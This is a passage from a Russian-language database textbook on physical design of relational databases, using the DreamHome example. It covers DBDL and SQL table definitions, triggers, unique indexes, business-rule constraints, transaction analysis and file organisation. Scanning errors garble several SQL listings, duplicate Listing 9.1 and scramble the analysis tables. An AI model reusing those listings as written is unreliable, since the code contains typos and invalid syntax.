содержащим подробное описание схем организации файлов и структур хранения данных.
Этап 6 включает проектирование системы защиты базы данных от несанкционированного доступа. Сюда относится принятие решений о методах реализации каждой локальной логической модели данных, а также о мерах контроля доступа к отдельным таблицам базы. Этап 7 включает организацию процессов мониторинга созданной системы, задача которого состоит в выявлении и устранении любых проблем, связанных с производительностью приложений и вытекающих из особенностей реализации проекта. Здесь же осуществляется реализация новых и изменяющихся требований.
В приложении Е приводится обобщенное формальное описание методологии разработки баз данных, предназначенное для тех читателей, которые уже хорошо знакомы с теорией и нуждаются лишь общем обзоре основных этапов проектирования.
3. Методология физического проектирования баз данных реляционного типа
В этом разделе представлено подробное поэтапное руководство по созданию физического проекта реляционной базы данных. Следуя избранной методологии, мы продемонстрируем самую непосредственную связь между разработкой физического проекта базы данных и ее конкретной реализацией. В частности, мы покажем, какие альтернативные проектные решения могут быть выбраны в зависимости от типа используемой целевой СУБД.
Этап 4. Перенос глобальной логической модели данных в среду целевой СУБД
Цепь Создание базовой функциональной схемы реляционной базы данных на основе глобальной логической модели данных.
Самым первым заданием на этапе физического проектирования баз данных является преобразование отношений, созданных на основе логической модели данных, в такую форму, которая может быть реализована в среде целевой СУБД. Первая часть этого процесса предусматривает проверку информации, собранной на этапе логического моделирования и помещенной в словарь данных. Вторая часть процесса заключается в использовании этой информации для разработки проекта таблиц базы данных системы. Этот процесс требует наличия глубоких знаний о функциональных возможностях, предоставляемых целевой СУБД. В частности, разработчик должен знать следующее:
поддерживает ли система определение первичных ключей, внешних ключей и альтернативных ключей;
поддерживает ли система определение обязательных данных (т.е. допускает ли система указывать в определении атрибута, что для него запрещено использование значения NULL);
поддерживает ли система определение доменов;
поддерживает ли система определение бизнес-правил предприятия;
способ определения таблиц базы данных.
На этапе 4 процедуры разработки баз данных выполняются следующие действия.
Этап 4.1. Проектирование таблиц базы данных в среде целевой СУБД.
Этап 4.2. Реализация бизнес-правил предприятия в среде целевой СУБД.
Этап 4.1. Проектирование таблиц базы данных в среде целевой СУБД
Цепь Определение способа представления в целевой СУБД отношений, выделенных в глобальной логической модели данных.
Приступая к физическому проектированию, прежде всего необходимо проанализировать и хорошо усвоить информацию об отношениях, собранную на этапе построения логической модели базы данных. Эта информация может содержаться в словаре данных и в определениях отношений, записанных на языке DBDL. Определение каждого выделенного в глобальной логической модели данных отношения включает следующие элементы:
имя отношения;
список простых атрибутов, заключенный в скобки;
определение первичного ключа и (если таковые существуют) альтернативных (АК) и внешних (FK) ключей;
определение требований ссылочной целостности для любых внешних ключей.
Для каждого атрибута в словаре данных должна присутствовать следующая информация:
определение его домена, включающее указание типа данных, длину атрибута и любые требуемые ограничения на допустимые значения;
принимаемое по умолчанию значение атрибута (необязательно);
допустимость значения NULL для данного атрибута;
является ли данный атрибут производным, и если это так, способ вычисления его значения.
При записи проектов таблиц базы данных мы будем использовать язык DBDL для определения доменов, принимаемых по умолчанию значений и указания допустимости значения NULL. В качестве примера в листинге 9.1 приведено определение таблицы Property_for_Rent из приложения-примера DreamHome.
Листинг 9.1. Описание формата таблицы Property__for_Rent на языке DBDL
domain property-number:
variable
length character string
length 5
domain street:
variable
length character string
maximum length 25
domain area:
variable
length character string
maximum length 15
domain city:
variable
length character string
maximum length 15
domain post-Code:
variable
length character string
maximum length 8
domain property-type:
single character, must be one of
'В', 'C', 'D',
'E'/F', 'М', 'S'
domain property-rooms: integer, in the range 1 to 15
domain property-rent: monetary value, in the range 0.00-9999.00 domain owner_number: variable length character string length 5 domain staffjnimber: variable length character string length 5 domain branch-number: variable length character string length 3
property-for-rent(pno:property-numberNOTNULL,street:streetNOTNULL,area:area,city:cityNOTNULL,pcode:post_code,type:property_typeNOTNULL,DEFAULT:'F'rooms:property-roomsNOTNULL,* DEFAULT:4,rent:property_rentNOTNULL,DEFAULT:600ono:owner_numberNOTNULL,sno:staff_number,bno:branch-numberNOTNULL)property-for-rent(pno:property-numberNOTNULL,street:streetNOTNULL,area:area,city:cityNOTNULL,pcode:post_code,type:property_typeNOTNULL,DEFAULT:'F'rooms:property-roomsNOTNULL,* DEFAULT:4,rent:property_rentNOTNULL,DEFAULT:600ono:owner_numberNOTNULL,sno:staff_number,bno:branch-numberNOTNULL)PK pnoFK sno REFERENCES staff(sno) on delete SET NULL on update CASCADE FK ono REFERENCES owner(ono) on delete NO ACTION on update CASCADE FK bno REFERENCES branch(bno) on delete NO ACTION on update CASCADEPK pnoFK sno REFERENCES staff(sno) on delete SET NULL on update CASCADE FK ono REFERENCES owner(ono) on delete NO ACTION on update CASCADE FK bno REFERENCES branch(bno) on delete NO ACTION on update CASCADE
property-for-rent(
pno:
property-number
NOT
NULL,
street:
street
NOT
NULL,
area:
area,
city:
city
NOT
NULL,
pcode:
post_code,
type:
property_type
NOT
NULL,
DEFAULT:
'F'
rooms:
property-rooms
NOT
NULL,
* DEFAULT:
4,
rent:
property_rent
NOT
NULL,
DEFAULT:
600
ono:
owner_number
NOT
NULL,
sno:
staff_number,
bno:
branch-number
NOT
NULL)
property-for-rent(
pno:
property-number
NOT
NULL,
street:
street
NOT
NULL,
area:
area,
city:
city
NOT
NULL,
pcode:
post_code,
type:
property_type
NOT
NULL,
DEFAULT:
'F'
rooms:
property-rooms
NOT
NULL,
* DEFAULT:
4,
rent:
property_rent
NOT
NULL,
DEFAULT:
600
ono:
owner_number
NOT
NULL,
sno:
staff_number,
bno:
branch-number
NOT
NULL)
PK pno
FK sno REFERENCES staff(sno) on delete SET NULL on update CASCADE FK ono REFERENCES owner(ono) on delete NO ACTION on update CASCADE FK bno REFERENCES branch(bno) on delete NO ACTION on update CASCADE
PK pno
FK sno REFERENCES staff(sno) on delete SET NULL on update CASCADE FK ono REFERENCES owner(ono) on delete NO ACTION on update CASCADE FK bno REFERENCES branch(bno) on delete NO ACTION on update CASCADE
Теперь необходимо принять решение о способе реализации таблиц базы данных. Это решение зависит от типа выбранной целевой СУБД — при определении таблиц базы данных и ограничений целостности одни системы предоставляют больше возможностей, другие — меньше. Чтобы проиллюстрировать этот процесс, рассмотрим четыре различных способа реализации таблиц и требований ссылочной целостности.
Описание на языке SQL стандарта ISO 1992 (SQL2).
Реализация с использованием триггеров.
Реализация в среде СУБД INGRES 6.4.
Реализация с использованием уникальных индексов.
Описание на языке SQL стандарта ISO 1992 (SQL2)
Если целевая СУБД поддерживает язык SQL в пределах стандарта ISO 1992, обсуждению которого посвящены главы 13 и 14 этой книги, то реализация таблиц базы данных будет представлять собой относительно простую задачу. Например, реализация таблицы Property-for-Rent осуществляется с помощью серии операторов языка SQL, показанной в листинге 9.2.
Листинг 9.2. Операторы языка SQL, предназначенные для создания таблицы Property_for_Rent
CREATE DOMAIN owner_number AS VARCHAR(5)
CHECK(VALUE IN(SELECT ono FROM owner))
CREATE DOMAIN staff_number AS VARCHAR(5)
CHECK(VALUE IN(SELECT sno FROM Staff))
CREATE DOMAIN branch_number AS VARCHAR(3)
CHECK(VALUE IN(SELECT bno FROM branch))
CREATE DOMAIN property_number AS VARCHAR(5)
CREATE DOMAIN Street AS VARCHAR(25)
CREATE DOMAIN area AS VARCHAR(15)
CREATE DOMAIN city AS VARCHAR(15)
CREATE DOMAIN post_code AS VARCHAR(8)
CREATE DOMAIN property_type AS CHAR(l)
CHECK(VALUE IN('B', 'C', 'D', 'E','F', 'M', 'S'))
CREATE DOMAIN property_rooms AS SMALLINT
CHECK(VALUE BETWEEN 1 AND 15)
CREATE DOMAIN property_rent AS DECIMAL(6,2)
CHECK(VALUE BETWEEN 0 AND 9999)
CREATE TABLE property for rent(
NOT NULL,
pno
PROPERTY_NUMBER
street
STREET
NOT NULL,
area
AREA,
city
CITY
NOT NULL,
pcode
POST_CODE,
type
PROPERTY TYPE
NOT NULL DEFAULT 'F',
rooms
PROPERTY-ROOMS
NOT NULL DEFAULT 4,
rent
PROPERTY-RENT
NOT NULL DEFAULT 600,
ono
OWNER_NUMBER
NOT NULL,
sno
STAFF_NUMBER,
bno
BRANCH-NUMBER
NOT NULL,
PRIMARY KEY
(pno)
FOREIGN KEY
(sno) REFERENCES
staff on delete SET NULL on update CASCADE
FOREIGN KEY
(ono) REFERENCES
owner on delete NO ACTION on update CASCADE
FOREIGN KEY
(bno) REFERENCES
branch on delete NO ACTION on update CASCADE
Данная таблица имеет те же имена атрибутов и типы доменов, которые были использованы в описании таблицы на языке DLBL, приведенном в листинге 9.1. Первичным ключом таблицы объявлен атрибут номера объекта — Рпо. Средства SQL будут автоматически поддерживать уникальность значений этого атрибута. В таблице определены три внешних ключа, для каждого из которых указаны требуемые ограничения поддержки ссылочной целостности. Например, атрибут номера работника — Sno — является внешним ключом таблицы, представляющим ее связь с таблицей Staff. Для этого ключа установлено правило удаления (on delete SET NULL), указывающее, что в случае удаления некоторого номера работника из таблицы Staff, соответствующие значения в атрибуте Sno таблицы Property-for_Rent должны быть заменены значением NULL. Атрибут номера владельца — Опо — является внешним ключом таблицы, представляющим ее связь с таблицей Owner. Для этого ключа установлено правило обновления (on update CASCADE), указывающее, что в случае изменения некоторого номера владельца в таблице Staff соответствующие значения в атрибуте Опо таблицы Property-for_Rent должны быть заменены новым значением (т.е. обновлены
каскадно). Кроме того, при описании таблицы указано несколько значений, присваиваемых некоторым атрибутам по умолчанию — например, атрибуту Туре по умолчанию будет присваиваться значение 'F' (означающее “Flat” — “квартира”).
Реализация с использованием триггеров
Некоторые СУБД, например Oracle, позволяют использовать триггеры. Триггером называют действие, связанное с событием, вызвавшим изменение в содержимом таблицы. В СУБД Oracle три типа событий вызывают запуск триггеров — это попытки вставить (INSERT), обновить (UPDATE) или удалить (DELETE) один из кортежей (записей, строк) таблицы. Триггеры могут использоваться для организации или расширения поддержки ссылочной целостности данных, для реализации сложных бизнес-правил и контроля за внесением в данные изменений.
Приведенный ниже пример демонстрирует, как в среде СУБД Oracle можно организовать контроль за внесением в атрибут Rent таблицы Property_for_Rent изменений, превышающих десять процентов исходного значения.
CREATE TRIGGER property_before_update
BEFORE UPDATE ON property_for_rent
FOR EACH ROW
WHEN (NEW.rent/OLD.rent>1.1)
BEGIN
INSERT INTO property_for_rent_audit
VALUES (:OLD.pno, :OLD.street, :OLD.area, :OLD.city, :OLD.pcode, :OLD.type, :OLD.rooms, :OLD.rent, :OLD.ono, :OLD.sno, :OLD.bno) END
В этом примере для таблицы Property_for_Rent создается триггер типа before update (Перед обновлением). Как следует из его названия, предусмотренные этим триггером действия будут выполняться до фиксации в базе данных результатов выполнения транзакций обновления. Команды между ключевыми словами BEGIN и END будут выполняться при каждом обновлении строки в таблице Property_for_Rent, которое удовлетворяет условию, указанному в предложении WHEN. Этот триггер предполагает существование таблицы с именем Property_for_Rent_Audit, в которую будут помещаться копии обновленных записей, удовлетворяющих условиям отбора.
Реализация в среде СУБД INGRES 6.4
В некоторых СУБД, не совместимых с новым стандартом языка SQL, отсутствует поддержка одной или более фраз PRIMARY KEY, FOREIGN KEY и DEFAULT. Аналогичным образом, многие типы СУБД не поддерживают понятия доменов. В частности, в среде целевой СУБД типа INGRES 6.4 таблица Property_for_Rent может быть создана с помощью следующего оператора языка SQL:
CREATE TABLE property_for_rent(
рпо
VARCHAR(5)
NOT
NULL,
street
VARCHAR(25)
NOT
NULL,
area
VARCHAR(15),
city
VARCHAR(15)
NOT
NULL,
pcode
VARCHAR(8),
type
CHAR(1)
NOT
NULL,
rooms
SMALLINT
NOT
NULL,
rent
MONEY
NOT
NULL,
ono
VARCHAR(5)
NOT
NULL,
sno
VARCHAR(5),
bno
VARCHAR(3)
NOT
NULL);
В данном случае все требования, предъявляемые к допустимости значений ключей, принимаемым по умолчанию значениям и доменам атрибутов, должны быть
реализованы программно в самих приложениях, которые должны разрабатываться с учетом всех этих требований. Исключением из данного правила являются только ограничения для значений первичных ключей, которые могут быть реализованы с помощью организации уникальных индексов, как описывается ниже. Альтернативный вариант — определить структуру хранения этой таблицы в виде двоичного дерева или ISAM-файла (приложение Б).
Реализация с использованием уникальных индексов
Индекс представляет собой механизм доступа, ускоряющий выборку данных из таблицы — он действует подобно помещенному в книгу указателю (приложение Б). Уникальным называют такой индекс, в котором двум различным кортежам таблицы запрещено иметь одинаковое индексируемое значение. Система проверяет наличие дублей непосредственно при создании индекса (если данные в таблице уже существуют) и впоследствии контролирует каждое добавляемое в таблицу значение. Многие типы реляционных СУБД поддерживают создание индексов. Уникальный индекс может использоваться для организации контроля за нарушением уникальности значений первичных и потенциальных ключей. Например, приведенный выше SQL-оператор создания таблицы в среде СУБД INGRES не может воспрепятствовать помещению в таблицу двух записей с одним и тем же значением первичного ключа. С целью предотвращения подобных ошибок для атрибута первичного ключа таблицы (Рпо) можно создать уникальный индекс с помощью следующего оператора языка SQL:
CREATE UNIQUE INDEX property_no_index ON property_for_rent(pno);
Аналогичным образом можно создать составной индекс для первичного ключа таблицы Viewing, состоящего из атрибутов (Rno, Рпо). Вот как выглядит соответствующий SQL-оператор:
CREATE UNIQUE INDEX viewing_index ON viewing(rno, pno);
Если выбранная целевая СУБД не поддерживает определения первичных и альтернативных ключей, то их следует заменить соответствующими уникальными индексами (если это возможно).
Документирование проекта таблиц базы данных
Подготовленный проект набора таблиц базы данных должен быть тщательно описан в сопроводительной документации. Дополнительно следует указать причины выбора того или иного варианта из всех возможных.
Этап 4.2. Реализация бизнес-правил предприятия в среде целевой СУБД
Цепь Реализация бизнес-правил в среде целевой СУБД.
Обновление информации в таблицах может быть ограничено бизнес-правилами, регулирующими ручное выполнение тех операций, которые связаны с проведением данных обновлений. Способ реализации этих бизнес-правил опять-таки будет зависеть от типа выбранной целевой СУБД, поскольку одни системы для реализации требований организации предлагают больше возможностей, а другие — меньше. Как и в случае предыдущего этапа, если целевая СУБД поддерживает стандарт языка SQL2, то реализовать определенные типы требований будет совсем просто. Например, в компании DreamHome существует правило, согласно которому каждый работник может одновременно заниматься не более чем десятью сдаваемыми в аренду объектами. Это ограничение можно включить в SQL-оператор создания таблицы Ргор- erty_for_Rent с помощью следующего предложения:
CONSTRAINT staff not_handling_too_much
CHECK (NOT EXIST (SELECT sno
FROM property_for_rent
GROUP BY sno
HAVING COUNT(*)>10))
Альтернативным методом реализации бизнес-правил является использование триггеров. Для реализации приведенного выше примера ограничения в некоторых типах целевых СУБД может быть использован следующий триггер:
CREATE TRIGGER staff_not_handling_too_much
ON property_for_rent
FOR INSERT, UPDATE
AS IF ((SELECT COUNT(*) FROM propertyjor^rent p, WHERE
p.sno=INSERTED.sno)>10)
BEGIN
PRINT "Данный работник уже отвечает за 10 объектов"
ROLLBACK TRANSACTION
END
В результате создается триггер, который будет запускаться при каждой попытке вставки новой записи в таблицу Property_for_Rent, а также при каждой попытке обновления любой записи, уже существующей в этой таблице. В триггере выполняется проверка количества объектов, за которые отвечает данный сотрудник фирмы. Если это количество уже равно десяти, выводится соответствующее сообщение и выполнение транзакции отменяется.
В некоторых системах отсутствует поддержка реализации некоторых или всех типов бизнес-правил. В этом случае соответствующие действия должны быть реализованы непосредственно в приложениях. Например, существует очень мало (если они вообще есть) реляционных СУБД, которые позволяют реализовать ограничения по времени — допустим, такое: “В 17.30 последнего рабочего дня каждого года выполняется архивирование всех строк, относящихся к объектам, проданным в течение этого года, после чего данные записи удаляются”.
Документирование проекта реализации бизнес-правил
Все решения, принятые в связи с реализацией бизнес-правил предприятия, должны быть подробно описаны в сопроводительной документации. Кроме того, в документации должны быть указаны причины выбора одного из нескольких возможных подходов.
Этап 5. Проектирование физического представления оазы данных
Цель Определение файловой структуры и методов доступа, которые будут использоваться для представления таблиц базы данных. Другими словами, определение способа хранения таблиц и их строк во вторичной памяти.
Одной из важнейших целей физического проектирования базы данных является организация эффективного хранения данных (приложение Б). Существует несколько показателей, которые могут быть использованы для оценки достигнутой эффективности.
Пропускная способность транзакций. Этот показатель представляет собой количество транзакций, которые могут быть обработаны за заданный интервал времени. В некоторых системах — например, в службах резервирования авиабилетов — обеспечение высокой пропускной способности транзакций является решающим фактором успеха всей системы.
Время ответа. Характеризует временной промежуток, необходимый для выполнения одной транзакции. С точки зрения пользователя желательно сделать время ответа системы минимальным. Однако существуют некоторые факторы, которые оказывают влияние на величину времени ответа, но не могут контролироваться разработчиками — например, уровень загрузки системы или время, затрачиваемое на установку соединений.
Дисковая память. Этот показатель представляет собой объем дискового пространства, необходимого для размещения файлов базы данных. Разработчик должен стремиться минимизировать объем используемой дисковой памяти.
Однако ни один из этих факторов не является самодостаточным. Как правило, разработчик вынужден жертвовать одним из показателей ради другого, чтобы достичь оптимального баланса. Например, увеличение объема хранимых данных может вызвать увеличение времени ответа системы или уменьшение пропускной способности транзакций. Исходный вариант физического проекта базы данных не следует понимать как нечто статическое, но надо рассматривать как средство оценки возможного уровня производительности системы. После реализации исходного варианта проекта необходимо вести наблюдение за показателями работы системы и сообразно полученным результатам выполнять ее настройку с целью улучшения показателей работы и отражения изменяющихся требований пользователей (этап 7). Многие типы СУБД предоставляют в распоряжение администратора базы данных (Data Base Administrator — DBA) комплект утилит, предназначенный для контроля за функционированием системы и ее настройки. Позже мы узнаем, что существуют определенные структуры организации внешней памяти, позволяющие эффективно загружать в базу большие объемы данных, но мало пригодные для других целей. Другими словами, вначале имеет смысл выбрать такие структуры хранилищ, которые будут весьма эффективны при массовой загрузке данных в процессе создания базы, после чего их можно будет заменить другими структурами, позволяющими ее эффективно эксплуатировать.
И опять-таки диапазон выбора возможных типов организации файлов зависит от целевой СУБД, поскольку различные системы поддерживают разные наборы допустимых структур хранения информации. Очень важно, чтобы разработчик физического проекта базы данных имел полное представление о всех типах структур данных, поддерживаемых целевой СУБД, а также обо всех особенностях использования этих структур в системе. В частности, желательно, чтобы разработчик ясно понимал принципы работы оптимизатора запросов системы. Например, могут возникнуть ситуации, в которых оптимизатор запросов не будет использовать вторичные индексы, даже если они будут доступны. В результате простое добавление вторичного индекса не позволит повысить эффективность обработки запросов, а лишь вызовет дополнительную бесполезную нагрузку на систему. Некоторые СУБД предоставляют пользователям средства ознакомления с выбранной оптимизатором стратегией выполнения отдельного запроса или операции обновления. Эта функция носит название Query Execution Plan (QPE) (получение плана выполнения запроса). Например, СУБД DB2 имеет утилиту EXPLAIN, СУБД Oracle — диагностическую утилиту EXPLAIN PLAN, а СУБД INGRES поддерживает интерактивную QPE-функцию. Если выполнение запроса происходит медленнее, чем это предполагалось, имеет смысл воспользоваться подобным инструментом, чтобы определить причины замедления работы. Полученные данные помогут найти альтернативную стратегию, которая позволит увеличить скорость обработки запроса. Обработка запросов будет подробно обсуждаться в главе 18, “Обработка запросов”.
Понятие о системных ресурсах
Чтобы достичь высокой производительности системы, разработчик физического проекта базы данных должен решить, каким образом четыре основных компонента оборудования будут взаимодействовать между собой и как это повлияет на достигнутый уровень производительности.
Оперативная память. Доступ к данным в оперативной памяти осуществляется намного быстрее (в десятки или даже в сотни и тысячи раз), чем к данным во вторичной памяти. В общем случае, чем больше объем доступной СУБД оперативной памяти, тем быстрее будут работать приложения. Опыт показывает, что полезно постоянно поддерживать в системе такой режим, при котором около 5% ее оперативной памяти остается свободной. Однако неразумно поддерживать уровень свободной памяти выше 10%, поскольку в этом случае оперативная память будет использоваться неэффек-
тивно. Если в системе не хватает оперативной памяти для удовлетворения потребностей всех процессов, операционная система освобождает часть этой памяти, выталкивая отдельные страницы некоторых процессов на диск. Эти страницы будут считаны с диска, как только вновь потребуется доступ к содержащимся в них данным. В некоторых случаях для получения необходимого объема свободной памяти системе приходится перемещать на диск весь процесс или группу процессов. Установить наличие проблем с объемом доступной оперативной памяти можно по высокому уровню страничного обмена в системе.
Процессор. Устанавливает задачи для других системных ресурсов и выполняет пользовательские процессы. Важнейшим условием эффективной работы этого компонента является предотвращение конкуренции за право его использования, что обычно сопровождается переводом процессов в состояние ожидания. Процессор становится узким местом системы в тех случаях, если операционная система или программы пользователей выставляют слишком много требований для получения доступа к нему. Обычно подобная ситуация приводит к резкому возрастанию страничного обмена.
Дисковый ввод!вывод. В любой достаточно мощной СУБД процессы сохранения и выборки данных связаны с выполнением множества дисковых операций ввода/вывода. Как правило, изготовители дисковых устройств указывают рекомендуемое количество операций ввода/вывода в секунду. Если реальный показатель превышает данное значение, дисковая подсистема превращается в узкое место системы. На общую производительность дисковой памяти очень большое влияние оказывает способ организации хранения данных. Рекомендуется равномерно распределять сохраняемые данные между всеми доступными в системе устройствами, что снижает вероятность появления проблем. На рис. 9.1 представлены основные принципы распределения данных на дисковых устройствах.
Файлы операционной системы должны быть отделены от файлов базы данных.
Основные файлы базы данных должны быть отделены от индексных файлов.
Журнал восстановления должен быть отделен от остальной части базы данных.
Сеть. Сеть может стать узким местом всей системы при чрезмерном возрастании сетевого трафика или большом количестве сетевых коллизий.
Рис. 9.1. Типичная конфигурация дисковых файлов
Каждый из этих ресурсов способен оказывать влияние на остальные системные ресурсы. Поэтому улучшение состояния одного ресурса может повлечь за собой улучшение состояния всех остальных ресурсов.
Увеличение объема оперативной памяти вызовет снижение уровня страничного обмена и, как следствие, уменьшение количества выполняемых дисковых операций.
Более эффективное распределение оперативной памяти позволит снизить уровень дисковых операций ввода/вывода.
Приняв во внимание все вышесказанное, приступим к обсуждению тех действий, которые должны быть выполнены на пятом этапе разработки базы данных.
Этап 5.1. Анализ транзакций.
Этап 5.2. Выбор файловой структуры.
Этап 5.3. Определение вторичных индексов.
Этап 5.4. Анализ необходимости введения контролируемой избыточности данных.
Этап 5.5. Определение требований к дисковой памяти.
Этап 5.1. Анализ транзакций
Цель Определение функциональных характеристик транзакций, которые будут выполняться в проектируемой базе данных, и выделение наиболее важных из них.
Для того чтобы разрабатываемый физический проект базы данных обладал требуемым уровнем эффективности, необходимо получить максимум сведений о тех транзакциях и запросах, которые будут выполняться в этой базе данных. Нам потребуются как качественные, так и количественные характеристики. Для каждой планируемой транзакции необходимо знать следующее.
Ожидаемая частота выполнения транзакций.
Отношения и атрибуты, к которым потребуется иметь доступ при выполнении транзакции, а также тип этого доступа (выборка, вставка, обновление или удаление).
Для транзакций обновления необходимо установить атрибуты, значения которых будут обновляться, поскольку следует избегать использования этих атрибутов в структурах доступа (например, во вторичных индексах).
Атрибуты, используемые хотя бы в одном из предикатов. (В языке SQL предикатами называют условия, задаваемые в предложениях WHERE.) Проверьте, используются ли в предикатах шаблоны подстановки, поиск в пределах заданного диапазона или выборка по точному соответствию ключа.
Все найденные атрибуты будут кандидатами на включение в структуры доступа.
Атрибуты, которые при выполнении запросов будут использоваться для соединения двух или больше отношений.
Эти атрибуты также являются кандидатами на включение в структуры доступа.
Ограничения, устанавливаемые на время выполнения транзакций. (Например, может существовать требование, что некоторая транзакция всегда должна завершаться в течение одной секунды.)
Атрибуты, используемые в любых предикатах критических по времени выполнения транзакций, имеют наивысший приоритет для включения в состав структур доступа.
Карты выполнения транзакций
Во многих случаях проанализировать все ожидаемые транзакции просто невозможно, поэтому необходимо тем или иным образом выбрать из них самые “важные”. Существует эмпирическое правило, согласно которому выполнение около 20% наиболее активных запросов пользователей порождает примерно 80% общей нагрузки на базу данных. Это правило “80/20” может использоваться как рекомендация по проведению анализа. Для определения того, какие из транзакции подлежат детальному анализу, воспользуемся картой выполнения транзакций. Она показывает, какие
именно отношения используются для выполнения каждой транзакции, что позволяет сделать заключение о том, какие из отношений будут использоваться наиболее интенсивно. Для выделения областей, которые потенциально могут явиться источником проблем, необходимо выполнить следующее:
подготовить схему, отражающую используемые отношения и путь выполнения всех транзакций;
установить, какие из отношений наиболее интенсивно используются при выполнении транзакций;
детально проанализировать некоторые из транзакций, использующих эти отношения.
Например, предположим, что в базе данных компании DreamHome предполагается выполнение следующих транзакций.
Ввод (вставка) подробных сведений о новом работнике указанного отделения компании.
Составление списка сдаваемых в аренду объектов, за которые отвечает каждый из работников указанного отделения компании.
Назначение работника ответственным за некоторый сдаваемый в аренду объект, если этот работник еще не отвечает за десять объектов.
Составление списка сдаваемых в аренду объектов, закрепленных за указанным отделением компании.
На рис. 9.2, а указано ожидаемое количество строк в отношениях Staff, Branch и Property_for_Rent, а также средняя и максимальная кратности каждой из связей между этими отношениями. Например, ожидается, что персонал компании составит около 1500 человек, работающих в 50 отделениях, в каждом из которых трудятся в среднем по 30 работников. Результаты отображения на этой диаграмме путей выполнения транзакций от А до D показаны на рис. 9.2, б. Построенная карта выполнения транзакций показывает, что чаще всего используются отношения Property_for_Rent и Staff, поэтому целесообразно провести тщательный анализ только тех транзакций, которые включают обращения к этим отношениям.
При анализе каждой из транзакций очень важно знать не только среднее и максимальное количество ее вызовов в час, но и иметь сведения о тех днях недели и часах суток, когда она обычно выполняется, включая и данные о времени пиковой нагрузки. Например, частота вызова некоторых транзакций может удерживаться на среднем уровне постоянно, но все же имеет четко выраженный пик нагрузки в каждый четверг с 14.00 до 16.00, вызванный подготовкой отчетов, сдаваемых в пятницу утром. Другие транзакции вообще могут выполняться только в определенные моменты времени — например, по понедельникам с 9.00 до 10.00, — что также будет представлять собой пик нагрузки.
Когда выполнение потока транзакций требует частого доступа к определенным отношениям, очень большое значение приобретают выбранные для них схемы выполнения. Если выполнение этих транзакции не зависит друг от друга, риск возникновения проблем с производительностью уменьшается. Однако, если схемы их выполнения конфликтуют, возможные проблемы могут быть частично устранены посредством тщательного изучения транзакций, что позволит найти способ их модификации с целью повышения производительности, о чем речь пойдет ниже, при обсуждении этапа 5.4. В случае нашего примера целесообразно провести тщательный анализ трех первых транзакций.
При выполнении анализа транзакции устанавливается способ доступа к каждому из отношений. Например, фиксируется его тип: вставка (insert, I), чтение (read, R), обновление (update, U) или удаление (delete, D), а также имена атрибутов, используемых для получения доступа. В совокупности эти сведения называются “точкой входа” (“entry point”, Е). Мы предполагаем, что все транзакции могут получить прямой доступ к требуемому отношению посредством предоставления зна-
чений указанных атрибутов. Транзакции, которые вызывают сканирование нескольких записей, отмечаются “звездочками”. Везде, где выполняется подобное сканирование, необходимо указать, сколько раз при выполнении одной и той же транзакции потребуется получить доступ к определенным отношениям. Эти значения представляют собой среднюю и максимальную кратности используемых связей. При каждом обновлении доступ к отношению производится дважды: один раз — для чтения и другой раз — собственно для обновления. В большинстве случаев нет необходимости указывать все атрибуты каждого из отношений, но обязательно требуется отметить те атрибуты, которые используются при последовательном получении доступа к другим отношениям. Результаты анализа для каждой из выбранных транзакций приведены ниже, в табл. 9.1-9.3.
Рис. 9.2. Пример карты выполнения транзакций, построенной для нескольких транзакций: а) упрощенная ER-диаграмма для нескольких транзакций с указанием ожидаемой размерности отношений и связей; б) карта выполнения транзакций
Таблица 9.1. Результаты анализа транзакции А
Активность
День недели
Время суток
Частота вызова в час
Пиковая
—
-
-
Средняя
-
-
Случайным образом
От отношения
К отношению
Атрибуты
Тип доступаЧастота вызова в час
—
Branch
Address
R(E)1
Bn о
R
Branch
Staff
(все)
I1
Таблица 9.2. Результаты анализа транзакции В
Активность
День недели
Время суток
Частота вызова в час
Пиковая
Понедельник
9.00-10.00
2
Среда
14.00-16.00
2
Средняя
-
-
-
От отношения
К отношению
Атрибуты
Тип доступаЧастота вызова в час
—
Branch
Address
R(E) 1
Впо
R
Branch
Staff
Впо
R(E)*8-20
Sno
R
FName
R
LName
R
Staff
Property_for_
Sno
R(E)*48-200
Rent
Pno
R
Address *
R
Таблица 9.3. Результаты анализа транзакции С
Активность
День недели
Время сутокЧастота вызова в час
Пиковая
Понедельник
9.00-11.00
4
Средняя
Остальные дни недели
1
От отношения
К отношению
Атрибуты
Тип доступаЧастота
вызова в час
-
Property_f orientPno
R(E)2
Address
R
Впо
R
Окончание табл. 9.3
Активность
День недели
Время суток
Частота вызова в час
Sno
и
Property_for_Rent
Staff
Sno
R8-20
FName
R
LName
R
Bno
R(E)*
Staff
Property_for_Rent
Sno
R(E)*6-200
Этап 5.2. Выбор файловой структуры
Цепь Определение наиболее эффективного файлового представления для каждой из таблиц базы данных.
Целью выполнения данного этапа является выбор оптимальной файловой организации для каждой из таблиц. Рекомендации по выбору файловой организации даются исходя из следующих вариантов типов файлов:
последовательные файлы (heap);
хешированные файлы (hash);
индексно-последовательные файлы (ISAM);
двоичные деревья (ЕГ-Тгее).
Последовательные файлы
Структура последовательных файлов обсуждается во втором разделе приложения Б. Последовательный файл, или куча, является наиболее удобной структурой для хранения данных в следующих случаях.
Данные загружаются в таблицу крупными блоками. Например, при заполнении вновь созданной таблицы, в нее одновременно может загружаться большое количество данных. Если последовательная организация была выбрана для вновь созданной таблицы как исходный тип файловой организации, то реструктуризация файла таблицы после загрузки основного объема данных может оказать заметное влияние на эффективность ее использования.
Весь файл таблицы занимает несколько страниц. В этом случае время поиска любой записи будет невелико, даже при последовательном просмотре всех строк таблицы.
При каждом обращении к таблице выборке подлежат все ее кортежи (в любом порядке). Пример — выборка адресов всех сдаваемых в аренду объектов.
Таблица имеет дополнительные структуры поиска — например, индекс по ключу. В этом случае использование файлов последовательной организации позволяет достичь экономии дискового пространства.
Файлы последовательной организации неэффективны в случаях, если доступ необходим только к некоторым кортежам таблицы.
Хешированные файлы
Структура хешированных файлов обсуждается в четвертом разделе приложения Б. Применение хешированного файла в качестве структуры организации памяти для таблицы целесообразно в тех случаях, когда выбор кортежей осуществляется по точному совпадению поля, использованного для хеширования. Например, если вы-
полнить перемешивание таблицы Property_for_Rent по атрибуту Рпо, выборка данных по принципу “Значение Рпо равно SG37” будет эффективной. Хешированные файлы не рекомендуется использовать в следующих случаях.
Выборка кортежей из таблицы осуществляется по шаблонам подстановки, в которые входит и значение поля перемешивания. Например, выборка сведений обо всех сдаваемых в аренду объектах, шифр которых начинается с символов SG.
Выборка кортежей из таблицы осуществляется по заданному диапазону значения поля, которое входит в значение поля перемешивания. Например, выборка сведений обо всех сдаваемых в аренду объектах с арендной платой от 300 до 500 фунтов стерлингов.
